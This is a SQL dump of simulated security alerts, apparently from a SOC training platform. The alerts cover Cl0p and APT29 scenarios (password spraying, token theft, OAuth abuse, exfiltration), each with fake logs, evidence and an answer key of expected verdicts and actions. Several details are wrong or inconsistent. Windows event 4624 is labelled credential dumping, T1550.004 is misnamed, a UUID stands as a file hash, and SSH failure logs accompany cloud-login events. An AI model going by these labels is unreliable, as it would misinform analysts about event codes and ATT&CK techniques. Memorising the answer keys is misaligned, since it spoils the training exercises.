lsass.exe.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.037Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"dump_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumplog.dmp\\\",\\\"hash\\\":\\\"ab56b4d92b40713acc5af89985d4b786\\\",\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Credential dumping detected from memory using lsass.exe.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.037Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"dump_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumplog.dmp\\\",\\\"hash\\\":\\\"ab56b4d92b40713acc5af89985d4b786\\\",\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Credential dumping detected from memory using lsass.exe.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.037Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"dump_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumplog.dmp\\\",\\\"hash\\\":\\\"ab56b4d92b40713acc5af89985d4b786\\\",\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Credential dumping detected from memory using lsass.exe.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(432, 'Data Exfiltration via Encrypted Channel', 'high', 'Network Traffic Analysis', 'In the final phase of the operation, Cl0p utilized encrypted channels to exfiltrate sensitive data from the network, leveraging legitimate file transfer protocols such as SFTP to avoid detection.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:30:00Z\",\"event\":\"Data Exfiltration\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"185.100.87.200\",\"protocol\":\"SFTP\",\"file_name\":\"financial_report_2023.zip\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"jdoe\",\"encryption\":\"AES256\",\"bytes_transferred\":5242880,\"connection_duration\":360}', '2026-01-04 04:38:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.100.87.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Identified as a command-and-control server associated with Cl0p.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"financial_report_2023.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file potentially exfiltrated.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File hash matches known stolen data set.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(433, 'Suspicious Login Attempts Detected', 'high', 'SIEM', 'Initial access is attempted through a series of password spraying attacks targeting cloud accounts of diplomatic personnel.', 'Password Spraying', 'T1110.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T08:45:23Z\",\"event_source\":\"cloud.service\",\"event_type\":\"login_attempt\",\"user\":\"diplomat_user\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"success\":false,\"attempt_count\":15,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\",\"attack_pattern\":\"Password Spraying\",\"associated_hash\":\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\",\"malicious\":true}', '2026-01-04 23:55:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 password spraying campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted cloud account.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with unauthorized access attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"diplomat_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"clean\",\"details\":\"Valid diplomatic personnel cloud account.\"}}],\"recommended_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.041Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T08:45:23Z\\\",\\\"event_source\\\":\\\"cloud.service\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"user\\\":\\\"diplomat_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"success\\\":false,\\\"attempt_count\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\\",\\\"attack_pattern\\\":\\\"Password Spraying\\\",\\\"associated_hash\\\":\\\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\\\",\\\"malicious\\\":true}\"},{\"timestamp\":\"2026-02-01T20:31:19.041Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T08:45:23Z\\\",\\\"event_source\\\":\\\"cloud.service\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"user\\\":\\\"diplomat_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"success\\\":false,\\\"attempt_count\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\\",\\\"attack_pattern\\\":\\\"Password Spraying\\\",\\\"associated_hash\\\":\\\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\\\",\\\"malicious\\\":true}\"},{\"timestamp\":\"2026-02-01T20:30:19.041Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T08:45:23Z\\\",\\\"event_source\\\":\\\"cloud.service\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"user\\\":\\\"diplomat_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"success\\\":false,\\\"attempt_count\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\\",\\\"attack_pattern\\\":\\\"Password Spraying\\\",\\\"associated_hash\\\":\\\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\\\",\\\"malicious\\\":true}\"},{\"timestamp\":\"2026-02-01T20:29:19.041Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T08:45:23Z\\\",\\\"event_source\\\":\\\"cloud.service\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"user\\\":\\\"diplomat_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"success\\\":false,\\\"attempt_count\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\\",\\\"attack_pattern\\\":\\\"Password Spraying\\\",\\\"associated_hash\\\":\\\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\\\",\\\"malicious\\\":true}\"},{\"timestamp\":\"2026-02-01T20:28:19.041Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T08:45:23Z\\\",\\\"event_source\\\":\\\"cloud.service\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"user\\\":\\\"diplomat_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"success\\\":false,\\\"attempt_count\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\\",\\\"attack_pattern\\\":\\\"Password Spraying\\\",\\\"associated_hash\\\":\\\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\\\",\\\"malicious\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(434, 'Unusual Token Usage Pattern', 'high', 'Cloud Access Security Broker (CASB)', 'Anomalous token usage detected following a successful password spraying attack. Stolen tokens were used to bypass MFA, indicating potential privilege escalation attempts.', 'Token Theft', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_source\":\"CASB\",\"event_type\":\"Token Usage\",\"user\":\"jdoe@corporate.com\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.10.5\",\"token_id\":\"f47ac10b-58cc-4372-a567-0e02b2c3d479\",\"file_accessed\":\"/secure/finance_reports/q3_2023.pdf\",\"token_status\":\"anomalous\",\"related_hash\":\"e99a18c428cb38d5f260853678922e03\",\"context\":\"Token used to access privileged resources without MFA verification\"}', '2026-01-04 23:55:22', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe@corporate.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Employee account used in suspicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with anomalous token usage tools.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_source\\\":\\\"CASB\\\",\\\"event_type\\\":\\\"Token Usage\\\",\\\"user\\\":\\\"jdoe@corporate.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.10.5\\\",\\\"token_id\\\":\\\"f47ac10b-58cc-4372-a567-0e02b2c3d479\\\",\\\"file_accessed\\\":\\\"/secure/finance_reports/q3_2023.pdf\\\",\\\"token_status\\\":\\\"anomalous\\\",\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"context\\\":\\\"Token used to access privileged resources without MFA verification\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_source\\\":\\\"CASB\\\",\\\"event_type\\\":\\\"Token Usage\\\",\\\"user\\\":\\\"jdoe@corporate.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.10.5\\\",\\\"token_id\\\":\\\"f47ac10b-58cc-4372-a567-0e02b2c3d479\\\",\\\"file_accessed\\\":\\\"/secure/finance_reports/q3_2023.pdf\\\",\\\"token_status\\\":\\\"anomalous\\\",\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"context\\\":\\\"Token used to access privileged resources without MFA verification\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_source\\\":\\\"CASB\\\",\\\"event_type\\\":\\\"Token Usage\\\",\\\"user\\\":\\\"jdoe@corporate.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.10.5\\\",\\\"token_id\\\":\\\"f47ac10b-58cc-4372-a567-0e02b2c3d479\\\",\\\"file_accessed\\\":\\\"/secure/finance_reports/q3_2023.pdf\\\",\\\"token_status\\\":\\\"anomalous\\\",\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"context\\\":\\\"Token used to access privileged resources without MFA verification\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_source\\\":\\\"CASB\\\",\\\"event_type\\\":\\\"Token Usage\\\",\\\"user\\\":\\\"jdoe@corporate.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.10.5\\\",\\\"token_id\\\":\\\"f47ac10b-58cc-4372-a567-0e02b2c3d479\\\",\\\"file_accessed\\\":\\\"/secure/finance_reports/q3_2023.pdf\\\",\\\"token_status\\\":\\\"anomalous\\\",\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"context\\\":\\\"Token used to access privileged resources without MFA verification\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_source\\\":\\\"CASB\\\",\\\"event_type\\\":\\\"Token Usage\\\",\\\"user\\\":\\\"jdoe@corporate.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.10.5\\\",\\\"token_id\\\":\\\"f47ac10b-58cc-4372-a567-0e02b2c3d479\\\",\\\"file_accessed\\\":\\\"/secure/finance_reports/q3_2023.pdf\\\",\\\"token_status\\\":\\\"anomalous\\\",\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"context\\\":\\\"Token used to access privileged resources without MFA verification\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(435, 'Creation of Unauthorized OAuth Applications', 'high', 'Cloud Application Logs', 'An unauthorized OAuth application was created, indicating potential abuse for persistent access to cloud email systems.', 'OAuth Abuse', 'T1550.001 - OAuth Abuse', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"oauth-creation-5678\",\"action\":\"create_oauth_app\",\"user\":\"compromised_user@example.com\",\"application_name\":\"RogueApp\",\"application_id\":\"app-123456789\",\"client_id\":\"client-98765\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"indicators\":{\"malicious_ip\":\"203.0.113.45\",\"username\":\"compromised_user@example.com\"}}', '2026-01-04 23:55:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known OAuth abuse campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"User credentials likely compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.044Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"oauth-creation-5678\\\",\\\"action\\\":\\\"create_oauth_app\\\",\\\"user\\\":\\\"compromised_user@example.com\\\",\\\"application_name\\\":\\\"RogueApp\\\",\\\"application_id\\\":\\\"app-123456789\\\",\\\"client_id\\\":\\\"client-98765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"indicators\\\":{\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user@example.com\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.044Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"oauth-creation-5678\\\",\\\"action\\\":\\\"create_oauth_app\\\",\\\"user\\\":\\\"compromised_user@example.com\\\",\\\"application_name\\\":\\\"RogueApp\\\",\\\"application_id\\\":\\\"app-123456789\\\",\\\"client_id\\\":\\\"client-98765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"indicators\\\":{\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user@example.com\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.044Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"oauth-creation-5678\\\",\\\"action\\\":\\\"create_oauth_app\\\",\\\"user\\\":\\\"compromised_user@example.com\\\",\\\"application_name\\\":\\\"RogueApp\\\",\\\"application_id\\\":\\\"app-123456789\\\",\\\"client_id\\\":\\\"client-98765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"indicators\\\":{\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user@example.com\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.044Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"oauth-creation-5678\\\",\\\"action\\\":\\\"create_oauth_app\\\",\\\"user\\\":\\\"compromised_user@example.com\\\",\\\"application_name\\\":\\\"RogueApp\\\",\\\"application_id\\\":\\\"app-123456789\\\",\\\"client_id\\\":\\\"client-98765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"indicators\\\":{\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user@example.com\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.044Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"oauth-creation-5678\\\",\\\"action\\\":\\\"create_oauth_app\\\",\\\"user\\\":\\\"compromised_user@example.com\\\",\\\"application_name\\\":\\\"RogueApp\\\",\\\"application_id\\\":\\\"app-123456789\\\",\\\"client_id\\\":\\\"client-98765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"indicators\\\":{\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user@example.com\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(436, 'Lateral Movement Detected in Cloud Environment', 'high', 'Network Traffic Analysis', 'A lateral movement within the cloud infrastructure was detected. The attacker, leveraging existing access, targeted additional diplomatic cloud accounts. Indicators of compromise involved suspicious internal IP communications and unauthorized access from a known malicious IP.', 'Cloud Exploitation', 'T1550.004 - Cloud Instance Metadata API', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:45:32Z\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"10.0.5.23\",\"external_ip\":\"203.0.113.45\",\"user\":\"diplomatic_user_x\",\"action\":\"login_attempt\",\"status\":\"success\",\"hash\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"filename\":\"malicious_script.sh\",\"description\":\"Detected lateral movement from internal IP 192.168.1.102 to 10.0.5.23 with successful login using diplomatic_user_x. External IP 203.0.113.45 has known malicious activity associated with APT29.\",\"indicator_type\":\"Cloud Exploitation\",\"notable_tool\":\"OAuth Abuse\"}', '2026-01-04 23:55:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT29 campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal network IP involved in lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"diplomatic_user_x\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unusual login pattern detected.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious script used by APT29.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(437, 'Data Exfiltration Alert', 'high', 'Data Loss Prevention (DLP) System', 'In the final stage of the operation, attackers attempted to exfiltrate sensitive diplomatic communications and data. The DLP system detected unusual data transfer activities originating from an internal host to an external IP address associated with known malicious activity.', 'Data Exfiltration', 'T1002: Data Compressed', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:07Z\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"action\":\"data_transfer\",\"file_transferred\":\"diplomatic_communications.zip\",\"file_hash\":\"3b5d5c3712955042212316173ccf37be\",\"protocol\":\"HTTPS\",\"alert_id\":\"DLP-20231015-001\",\"description\":\"Unusual data transfer detected to external IP\",\"malware_association\":\"APT29\"}', '2026-01-04 23:55:22', '2026-02-14 16:52:12', 